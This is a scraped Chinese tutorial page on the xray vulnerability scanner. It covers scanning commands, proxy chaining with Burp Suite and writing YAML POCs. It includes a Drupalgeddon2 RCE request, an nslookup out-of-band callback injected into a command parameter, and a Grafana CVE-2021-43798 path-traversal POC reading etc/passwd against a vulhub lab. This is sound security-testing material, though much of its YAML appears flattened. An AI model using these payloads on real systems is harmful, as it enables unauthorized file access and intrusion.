xray API漏洞检测

编程入门 行业动态 更新时间:2024-10-22 15:41:38

xray API<a href=https://www.elefans.com/category/jswz/34/1770270.html style=漏洞检测"/>

xray API漏洞检测

一、介绍

一款功能强大的安全评估工具。 国内长亭科技研发,xray 并不开源目前支持的漏洞检测类型包括:
  • XSS漏洞检测 (key: xss)
  • SQL 注入检测 (key: sqldet)
  • 命令/代码注入检测 (key: cmd-injection)
  • 目录枚举 (key: dirscan)
  • 路径穿越检测 (key: path-traversal)
  • XML 实体注入检测 (key: xxe)
  • 文件上传检测 (key: upload)
  • 弱口令检测 (key: brute-force)
  •  jsonp 检测 (key: jsonp)
  • ssrf 检测 (key: ssrf)
  • 基线检查 (key: baseline)
  • 任意跳转检测 (key: redirect)
  • CRLF 注入 (key: crlf-injection)
  • Struts2 系列漏洞检测 (高级版,key: struts)
  • Thinkphp系列漏洞检测 (高级版,key: thinkphp)
  • XStream 系列漏洞检测 (key: xstream)
  • POC 框架 (key: phantasm)

二、基础使用方法

1、查看版本号 ./xray_linux_amd64 version    2、使用使用 xray 基础爬虫模式进行漏洞扫描 ./xray_linux_amd64 webscan --log-level debug --basic-crawler Home of Acunetix Art --html-output xray-crawler-testphp.html 3、使用http代理进行被动扫描 ./xray_linux_amd64 webscan --listen 127.0.0.1:7777 --html-output proxy.html 通过插件FoxyProxy设置浏览器 http 代理为 http://127.0.0.1:7777,就可以自动分析代理流量并扫描。 4、手动指定本次运行的插件 默认情况下,将会启用所有内置插件,可以使用下列命令指定本次扫描启用的插件。 xray webscan --plugins cmd-injection,sqldet --url xray webscan --plugins cmd-injection,sqldet --listen 127.0.0.1:7777 5、指定插件输出 可以指定将本次扫描的漏洞信息输出到某个文件中: xray webscan --url Example Domain \ --text-output result.txt --json-output result.json --html-output report.html 报告样例: XRay Report

三、代理模式

四、联动

Xray常用使用命令_樱浅沐冰的博客-CSDN博客_xray命令 xray与burp联动: 浏览器配置xray的的127.0.0.1:7777,xray配置burpsuite的127.0.0.1:8080 另一种方式,可以让我们用burpsuite选择性的给xray扫描: 浏览器配置burpsuite的127.0.0.1:8080,burpsuite配置xray的127.0.0.1:7777

五、poc编写

xray对POC扫描的流程如下:
    POC模块收到用户的一个请求后,开始对这个目标进行漏洞扫描。根据rule中的method、path、headers、body、follow_redirects键值,替换原始数据包中的对应信息。替换后的数据包被发送,并获得返回包。再执行expression表达式,表达式结果作为该条rule的结果;同时,通过search指定的正则表达式,可以从返回包body中提取一些信息,作为下一个rule或detail中可以被引用的内容。最后将 detail 中的信息附加到漏洞输出后就完成了单个 poc 的整个流程。
注意点:

5.1、poc结构

v2版本(推荐使用) - xray 安全评估工具文档 一个最基础v2版本的POC如下:
name: poc-yaml-example-com
# 脚本部分
transport: http
rules:r1:request:method: GETpath: "/"expression: |response.status==200 && response.body_string.contains("Example Domain")
expression:r1()
# 信息部分
detail:author: name(link)links:- 
整个POC是一个键值对,其包含3个键:
  • name: string   # 是POC的名字,用一个英文字母、数字和短横线进行表示,如poc-yaml-thinkphp523-rce。
  • rules: []Rule  # 一个由规则(Rule)组成的列表。
  • detail: map[string]string  # 主要是用来声明该脚本的一些信息,包括输出内容。

5.2、传输方式(transport)

该字段用于指定发送数据包的协议。  transport: string 目前transport的取值有:
  • tcp
  • udp
  • http

5.3、全局变量定义(set)

该字段用于定义全局变量。比如随机数,反连平台等。    set: map[string]interface{} 形如:
set:a: 1

5.4、全局变量载荷(payload)

该字段用于定义多个 payload,来实现发送不同 payload 的效果。 该字段结构如下:   形如:
payloads:continue: falsepayloads:ping:cmd: r"ping test"curl:cmd: r"curl test"
1. 只支持罗列 payload, 目前不考虑支持文件或者复杂排列组合等情况,每个 payload 中的 key 必须严格一致。

5.5、编写rule

该字段定义了一些具名的 rule。 rules: map[string]Rule 形如:
transport: http
rules:r1:# 此处为一个 http request 的例子request:cache: truemethod: GETpath: "/"headers:Content-Type: application/xmlbody: aaaafollow_redirects: trueread_timeout: "10"expression: |response.status==200 && response.body_string.contains("Example Domain")# 相比于 V1 版本新增output:search: |r'(?P<version>1.1.1)'.bsubmatch(response.raw)'version: search['version']
其中 rule 的结构又可以分为 3 部分:
  • request:构造请求相关参数
  • expression:判断该条 Rule 的结果
  • output:声明一些变量,用于后续使用
Rule就是我们POC的灵魂,在YAML中一个Rule是一个键值对,其包含如下键:
  • cache: bool 是否使用缓存的请求,如果该选项为 true,那么如果在一次探测中其它脚本对相同目标发送过相同请求,那么便使用之前缓存的响应,而不发新的数据包;
  • method: string 请求方法
  • path: string 请求的完整 Path,包括 querystring 等 ;详情见 xray 安全评估工具文档
  • headers: map[string]string 请求 HTTP 头, Rule 中指定的值会被覆盖到原始数据包的 HTTP 头中
  • body: string 请求的Body
  • follow_redirects: bool 是否允许跟随300跳转,在请求方法为 gethead的时候, 默认为 true,其他方法默认为 false
  • read_timeout: string 发送请求之后的读取超时时间,不填写时默认为0,为0时,超时时间将使用全局配置。
  • expression: string 该字段定义这条rule的最终执行的一个结果。
  • output: []string 该字段定义了这条 rule 运行完成之后的一些变量,该字段定义的变量会被添加到全局变量中,类似于 set。

5.6、编写expression

expression表达式是Rule的灵魂。 xray使用了编译性语言Golang,所以为了实现动态执行一些规则,我们使用了Common Expression Language (CEL)表达式( google/cel-spec: Common Expression Language -- specification and binary representation (github))。    expression表达式上下文包含的变量暂时只有如下三个:
  • status int,返回包的status code;
  • body []byte,返回包的Body,因为是一个字节流(bytes)而非字符串,后面判断的时候需要使用字节流相关的方法;
  • content_types tring,返回包的content-type头的值;
  • headers map[string]string,返回包的HTTP头,是一个键值对(均为小写),可以通过headers['server']来获取值。如果键不存在,则获取到的值是空字符串。
函数名函数原型说明:
  • contains func (s1 string) contains(s2 string) bool,判断s1是否包含s2,返回bool类型结果。
  • bcontains func (b1 bytes) bcontains(b2 bytes) bool,判断一个b1是否包含b2,返回bool类型结果。与contains不同的是,bcontains是字节流(bytes)的查找。
  • matches func (s1 string) matches(s2 string) bool,使用正则表达式s1来匹配s2,返回bool类型匹配结果。
  • bmatches func (s1 string) bmatches(b1 bytes) bool,使用正则表达式s1来匹配b1,返回bool类型匹配结果。与matches不同的是,bmatches匹配的是字节流(bytes)。
  • startsWith func (s1 string) startsWith(s2 string) bool,判断s1是否由s2开头。
  • endsWith func (s1 string) endsWith(s2 string) bool,判断s1是否由s2结尾。
值得注意的是,类似于python,CEL中的字符串可以有转义和前缀,如:
  • '\r\n' 表示换行
  • r'\r\n' 不表示换行,仅仅表示这4个字符。在编写正则时很有意义。
  • b'test' 一个字节流(bytes),在golang中即为[]byte
   用一些简单的例子来覆盖大部分我们可能用到的表达式:
  • response.body.bcontains(b"test") 返回包body包含test,因为body是一个bytes类型的变量,所以我们需要使用bcontains方法,且其参数也是bytes;
  • response.body_string.contains("test") 但此处我们更推荐这样的写法来匹配test,这会解决一些编码问题;
  • response.body_string.contains(r1 + "some value" + r2) r1、r2是 randomLowercase 的变量,这里动态的判断 body 的内容; 
  • response.content_type.contains('application/octet-stream') && response.body.bcontains(b'\x00\x01\x02') 返回包的content-type包含“application/octet-stream”,且body中包含0x000102这段二进制串;
  • response.content_type.contains('zip') && r'^PK\x03\x04'.bmatches(response.body) 这个规则用来判断返回的内容是否是zip文件,需要同时满足条件:content-type包含关键字“zip”,且body匹配上正则r’^PK\x03\x04’(就是zip的文件头)。因为startsWith方法只支持字符串的判断,所以这里没有使用。
  • response.status >= 300 && response.status < 400   返回包的status code在300~400之间;
  • (response.status >= 500 && response.status != 502) || "<input value=\"(.+?)\"".matches(response.body_string) 返回包status code大于等于500且不等于502,或者Body包含表单;
  • response.headers['location']=="" headers 中 Location 等于指定值,如果 Location 不存在,该表达式返回 false;   
  • 'docker-distribution-api-version' in response.headers && response.headers['docker-distribution-api-version'].contains('registry/2.0')  headers 中包含 docker-distribution-api-version 并且 value 包含指定字符串,如果不判断 in,后续的 contains 会出错。
  • response.body_string.contains(response.url.path) body 中包含 url 的 path;  
expression表达式返回的必须是一个bool类型的结果,这个结果作为整个Rule的值。

5.7、如何编写借助反连平台的POC

反连平台是测试一些无法回显漏洞的方法,如SSRF、命令执行等,如何在编写POC的时候,借助反连平台来探测漏洞。 可以在path、headers、body中注入一些变量,与反连平台相关的变量如下
  • {{reverse_url}} 反连平台的url
  • {{reverse_domain}} 反连平台的domain
  • {{reverse_ip}} 反连平台的IP
在测试SSRF漏洞的过程中,我们可以直接在请求中注入{{reverse_url}},这个变量就会被替换成反连平台的URL发送: path: /request?url={{reverse_url}} 此时,如果目标网站存在SSRF漏洞,就会访问我们反连平台的URL,进而我们接收到信息,检测出漏洞。 那么,有时候目标网站无法发送HTTP请求,我们亦可用DNS请求来判断漏洞。如,目标网站存在命令执行漏洞,我们可以通过执行nslookup命令来请求我们反连平台的DNS服务器,如: path: /execute body: |   param=`nslookup%20{{reverse_domain}}%20{{reverse_ip}}` 此时我们使用{{reverse_domain}}和{{reverse_ip}}变量,前者会被替换成反连平台的域名,后者替换成反连平台IP,此时nslookup会向{{reverse_ip}}发送一个包含{{reverse_domain}}的DNS请求,此时反连平台即将收到消息,并成功记录下漏洞。 接着,我们需要在表达式expression中,来判断反连平台的状态,此时我们使用上下文中的waitReverse函数: func waitReverse(timeout int) bool waitReverse将会等待timeout秒,在这个时间内,如果反连平台收到消息,则返回true,否则一直阻塞,直到超时时间,如果超时时间到后仍然未收到消息,则该函数返回false。 所以,一个完整的SSRF POC示例如下:
name: example-ssrf-poc
rules:- method: GETpath: /request?url={{reverse_url}}expression: |status == 200 && waitReverse(5)
如果5秒内,反连平台收到符合要求的请求,则waitReverse(5)返回true,整个expression返回true,漏洞存在;如果status不是200或5秒内反连平台没有收到请求,则waitReverse(5)返回false,漏洞不存在。

5.8、POC编写辅助工具

5.8.1、v1版本在线编写POC

    地址:XRay POC 编写辅助工具     编写后点击生成然后复制到本地测试即可
name: poc-yaml-drupal-drupalgeddon2-rce
rules:- method: POSTpath: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]=test%25%25test"headers:User-Agent: "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"body: |form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Passwordsearch: |name="form_build_id"\s+value="(.+?)"expression: |status==200- method: POSTpath: "/?q=file%2Fajax%2Fname%2F%23value%2F{{1}}"headers:User-Agent: "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"body: |form_build_id={{1}}expression: |body.bcontains(b'test%test')
detail:drupal_version: 7
该POC分为两个Rule,第一个发送一个POST包,将我们需要的Payload注入缓存中,同时,利用search字段提取缓存ID;第二个数据包,将前面提取的缓存ID{{1}},拼接到body中,触发代码执行漏洞,并使用body.bcontains(b'test%test')来判断是否成功执行。

5.8.2、v1版本在线编写POC

GitHub - jweny/pocassist: 全新的漏洞测试框架,支持poc在线编辑、运行、批量测试。使用文档: pocassist是一个 Go (Golang) 编写的全新的开源漏洞测试框架,实现对poc的在线编辑、管理、测试。 如果使用公共漏洞库,请先下载,并在 config.yaml 中配置。公共漏洞库默认登录账号密码为 admin / admin2。 如何调试POC?

六、漏洞 CVE-2021-43798编写

第三期: 漏洞编写实例 - xray 安全评估工具文档

6.1、环境准备

靶机:192.168.11.135 下载vulhub:git clone GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose 进入目录:cd ./vulhub-master/grafana/CVE-2021-43798/ 启动环境:docker-compose up -d 访问:http://192.168.11.135:3000

6.2、漏洞复现

此处将直接使用vulhub的描述来进行测试 可以看到只要对搭建好的环境进行如下内容的发包,即可看到etc/passwd的内容:

6.3、编写POC

grafana-cve-2021-43798-unauth-fileread-test-1.yml
​name: poc-yaml-grafana-cve-2021-43798-unauth-fileread-test-1
manual: true
transport: http
payloads:payloads:alertlistl:file: |"etc/passwd"plugin: |"alertlist"re: |"root:.*?:[0-9]*:[0-9]*:"annolistl:file: |"etc/passwd"plugin: |"annolist"re: |"root:.*?:[0-9]*:[0-9]*:"grafana-azure-monitor-datasourcel:file: |"etc/passwd"plugin: |"grafana-azure-monitor-datasource"re: |"root:.*?:[0-9]*:[0-9]*:"
rules:detect:request:cache: falsemethod: GETpath: /follow_redirects: trueexpression: |response.status == 200 && "window.grafana[b|B]oot[d|D]ata\\s*=\\s*{".matches(response.body_string) || response.body_string.contains("Sometimes restarting grafana-server can help")r0:request:cache: truemethod: GETpath: /public/plugins/{{plugin}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{{file}}expression: |response.status == 200 && re.matches(response.body_string)
expression: |r0()
detail:author: testlinks:- .zh-cn.md
对poc进行格式检测 需要安装yamllint:apt-get install yamllint   Quickstart — yamllint 1.29.0 documentation

6.4、测试POC

执行:./xray_linux_amd64 --log-level debug webscan  --plugins phantasm --poc ./mypocs/grafana-cve-2021-43798-unauth-fileread-test-1.yml --listen 127.0.0.1:1111 --html-output grafana.html 浏览器访问:http://192.168.11.135:3000/

6.5、HTTP PATH 的使用

  xray 安全评估工具文档 1. 如果 path 是以 / 开头的, 取 dir 路径拼接 2. 如果 path 是以 ^ 开头的, uri 直接取该路径 3. 支持变量渲染
​# target: :8080/test/test
name: poc-yaml-http-path-test
manual: false
transport: http
set:# /test/testinputPath: request.url.path
rules:r0:request:cache: truemethod: GET# target: :8080/test/a# 如果以 / 开头,取的传入 url 的 dir path 拼接的(考虑到 /admin 是一个单独站点这种情况)path: /aexpression: "true"output:r0Url: request.url.pathr1:request:cache: truemethod: GET# target: :8080/test/test/b# 如果以 ^ 开头,取 path 作为请求路径path: '^{{inputPath}}/b'expression: "true"r2:request:cache: truemethod: GET# target: :8080/c# 如果以 ^ 开头,取 path 作为请求路径path: ^/cexpression: "true"r3:request:cache: truemethod: GET# target: :8080/test/a/d# 如果不以 / 开头,取 path 作为请求路径path: '^{{r0Url}}/d'expression: "true"
expression: r0() && r1() && r2() && r3()
detail:author: yywing

七、参考

GitHub - chaitin/xray: 一款完善的安全评估工具,支持常见 web 安全问题扫描和自定义 poc | 使用之前务必先阅读文档

xray 安全评估工具文档

POC编写模版 - xray 安全评估工具文档

第三期: 漏洞编写实例 - xray 安全评估工具文档

xray 教学视频 课程1_哔哩哔哩_bilibili 简介

xray 教学视频 课程2_哔哩哔哩_bilibili 基础用法

xray 教学视频 课程3_哔哩哔哩_bilibili 高级用法

xray 教学视频 课程4_哔哩哔哩_bilibili xray与burpsuite联动

xray 教学视频 课程5_哔哩哔哩_bilibili 编写自定义poc

更多推荐

xray API漏洞检测

本文发布于:2024-02-06 12:51:50,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1749201.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:漏洞   xray   API

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!